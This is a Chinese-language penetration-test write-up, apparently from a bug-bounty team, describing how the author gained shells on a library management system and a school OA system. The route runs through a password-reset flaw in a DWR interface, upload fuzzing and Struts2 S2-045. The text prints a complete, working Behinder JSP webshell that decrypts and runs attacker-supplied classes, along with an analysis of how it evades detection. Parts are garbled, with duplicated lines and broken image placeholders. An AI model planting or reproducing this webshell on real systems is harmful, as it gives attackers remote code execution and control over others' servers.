实战 — 记一次src小组定向挖掘

作者: Echo: time:2021-01-02/22:02

前言:
团队src小组漏洞定向挖掘过程中,找到某目标,发现还挺有意思的,便记录了下来;是java的dwr框架出了问题,已经拿到shell了;后续有了一些新的认识,还拿到学校某oa的shell。

0x00 发现某资产图书馆

在这里插入图片描述

1.当时就随手点了一下忘记密码,发现模块正常,有意思的是输入admin,姓名处会识别:系统管理员。

在这里插入图片描述

2.输入别的信息,返回用户名不存在,很明显这里有接口(虽然不知道是什么)

在这里插入图片描述

  1. 然后还发现重置密码模块可以访问,但点击修改的按钮失效,

0x01 任意用户密码重置

  1. 手里还有别的事情,发现模块不能用后,丢给up哥,过了10来分钟,up哥就说response请求里有返回的内容

    在这里插入图片描述

    这里就很有意思了,框架是tomcat的DWR,在密码重置POST请求还没发出去之前,服务器主动POST请求,,(这些都是后面摸索出的)

  2. 查看源码发现写了个onkeyup事件,也就是说输入结束后会执行check();而check()又会调用这个UserDWR.getUsUserMap

    在这里插入图片描述

    在这里插入图片描述

  3. 然后顺着这个getUserMap找到了DWR的接口地址,构造参数发现确实和理解的一样,(当然这都是后面做完getshell发现的)

    在这里插入图片描述

  4. 拿着管理的md5解密somd5,结果是xxxxxxx+出生年月

    在这里插入图片描述

    0x02 后台二处文件上传点

<!-- -->
  1. banner处

    在这里插入图片描述

  2. 某书房的设置处,

    在这里插入图片描述

  3. 别的地方,发现eweb编辑器,同时还看到加了后缀jsp,(这里想到可能已经有前者来过了)。发现这编辑器是坏的,涉及到javascript:xxx()函数全部不能调用

    在这里插入图片描述

  4. 发现几乎整个站都是这样,然后这里借鉴以前某次拿shell文件上传的手法,先传个txt,

    不考虑后缀的事情,

    在这里插入图片描述

    发现很多地方都可以传jpg和txt,只要传jsp就有问题,通过长时间fuzz,索性直接传个无内容的jsp后缀,发现banner处可以。

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传在这里插入图片描述

    上传成功后会GET这个地址,

<!-- -->
  1. 像这样苛刻的环境,通常手法是传个上传马,发现success

    在这里插入图片描述

  2. 然后这里通过漫长的fuzz,不管是传cmd马还是咋,全部阵亡

    在这里插入图片描述

    然后发现jsp中不含表单form就能上传成功,但解析就是上面这种情况。。。

    之前回想起学校某oa也存在这样的情况,当时查了资料可能是tomcat和jdk版本不匹配和i/o不能调用的问题,,总之解释有一堆。

  3. 绝境看up哥,

    在这里插入图片描述

<!-- -->
  1. up哥通过冰蝎马连上去,这里瞬间有意思了,拿到样本后,

    <%@page
    import=“java.util.*,javax.crypto.*,javax.crypto.spec.*”%><%!class
    U extends ClassLoader{U(ClassLoader c){super©;}public Class g(byte
    []b){return super.defineClass(b,0,b.length);}}%><%if
    (request.getMethod().equals(“POST”)){String
    k=“xxxxxxx”;session.putValue(“u”,k);Cipher
    c=Cipher.getInstance(“AES”);c.init(2,new
    SecretKeySpec(k.getBytes(),“AES”));new
    U(this.getClass().getClassLoader()).g(c.doFinal(new
    sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

  2. 研究冰蝎

    发现冰蝎不调用java的i/0,通过导入classloader,通过ClassLoader将class文件加载到JVM来命令执行;和传统的webshell通过Runtime类。客户端向服务端发送命令,服务端获取内容然后带入exec当中,

    得出的结论就是:存在java环境就有jvm,兼容性极大的提升,从0到1,让可以做的事情无线放大,敬佩

  3. 冰蝎马getshell

    在这里插入图片描述

    看到太多的尝试,都是jpg,,充满了无奈。

    0x03 峰会路转-学校OAgetshell

    2022-01-02 23:13 很困了,简单的写个经过,

    后来,发现半年前,学校的oa便是苛刻的st2环境,,想到再次尝试。

<!-- -->
  1. 找到站点,

    在这里插入图片描述

    虽然已经过去一年了,但凭微薄的记忆还是找到了这个站,但是前台的s2好像修复了,

  2. 探测到s2-045

    但印象中后台oa同时还存在s2-45,这个估计管理想不到,,(一年多了不知道咋记起来的)

    在这里插入图片描述

  3. 冰蝎马直接getshell

    在这里插入图片描述

<!-- -->
  1. 一发入魂,直接拿下

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-H4tQuXSZ-1641171420559)(media/image21.png)]{width=“5.756944444444445in”
    height=“3.470833333333333in”}
    444444444in"}

<!-- -->
  1. 一发入魂,直接拿下

    在这里插入图片描述
    在这里插入图片描述

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>